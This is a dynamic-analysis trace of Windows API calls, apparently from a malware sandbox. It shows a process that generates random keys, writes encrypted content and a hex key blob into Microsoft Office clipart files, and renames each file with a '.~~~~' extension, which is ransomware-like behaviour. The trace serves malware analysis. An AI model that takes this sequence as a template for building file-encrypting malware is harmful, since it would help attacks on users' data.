	[0091.967] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.967] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.967] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.968] CloseHandle (hObject=0x124) returned 1
	[0091.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.~~~~")) returned 1
	[0091.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.969] GetLastError () returned 0x0
	[0091.969] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.970] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.970] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.970] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21196037244) returned 1
	[0091.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa099bcf0, dwHighDateTime=0x1d60e1e)) 
	[0091.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3875d8
	[0091.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3875d8 | out: hHeap=0x300000) returned 1
	[0091.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389838
	[0091.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.971] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.971] GetLastError () returned 0x0
	[0091.971] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.971] GetLastError () returned 0x0
	[0091.974] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffec78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.974] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x1388, lpOverlapped=0x0) returned 1
	[0091.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.974] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.975] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.975] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.975] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.975] CloseHandle (hObject=0x124) returned 1
	[0091.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da6a8
	[0091.975] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.~~~~")) returned 1
	[0091.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da6a8 | out: hHeap=0x300000) returned 1
	[0091.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.976] GetLastError () returned 0x0
	[0091.977] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.978] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.978] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.978] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21196822080) returned 1
	[0091.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa099bcf0, dwHighDateTime=0x1d60e1e)) 
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387610
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387610 | out: hHeap=0x300000) returned 1
	[0091.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da6a8
	[0091.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3898d0
	[0091.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da6a8 | out: hHeap=0x300000) returned 1
	[0091.979] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.979] GetLastError () returned 0x0
	[0091.979] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.979] GetLastError () returned 0x0
	[0092.016] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe354, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.016] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1cac, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x1cac, lpOverlapped=0x0) returned 1
	[0092.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.017] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.017] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.017] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.017] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.017] CloseHandle (hObject=0x124) returned 1
	[0092.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.022] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.~~~~")) returned 1
	[0092.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.022] GetLastError () returned 0x0
	[0092.146] CryptAcquireContextA (phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000) 
	[0092.146] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.147] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.147] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.147] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21213758670) returned 1
	[0092.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0b18ab0, dwHighDateTime=0x1d60e1e)) 
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387798
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387798 | out: hHeap=0x300000) returned 1
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389248
	[0092.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.148] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.148] GetLastError () returned 0x0
	[0092.158] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.158] GetLastError () returned 0x0
	[0092.161] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff5c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.161] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa38, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xa38, lpOverlapped=0x0) returned 1
	[0092.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.162] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.162] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.162] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.162] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.162] CloseHandle (hObject=0x128) returned 1
	[0092.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.163] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.~~~~")) returned 1
	[0092.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.164] GetLastError () returned 0x0
	[0092.164] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.165] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0092.165] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.166] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21215588360) returned 1
	[0092.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0b3ec10, dwHighDateTime=0x1d60e1e)) 
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3877d0
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3877d0 | out: hHeap=0x300000) returned 1
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389cf8
	[0092.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.167] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.167] GetLastError () returned 0x0
	[0092.167] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.167] GetLastError () returned 0x0
	[0092.169] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff570, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.169] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xa90, lpOverlapped=0x0) returned 1
	[0092.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.170] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.170] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.170] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.170] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.170] CloseHandle (hObject=0x128) returned 1
	[0092.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.170] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.~~~~")) returned 1
	[0092.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.171] GetLastError () returned 0x0
	[0092.171] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.173] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0092.173] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0092.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.173] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21230379359) returned 1
	[0092.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0cbb9d0, dwHighDateTime=0x1d60e1e)) 
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387b18
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387b18 | out: hHeap=0x300000) returned 1
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a678
	[0092.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.315] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.315] GetLastError () returned 0x0
	[0092.315] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.315] GetLastError () returned 0x0
	[0092.321] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffad4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.321] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x52c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x52c, lpOverlapped=0x0) returned 1
	[0092.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
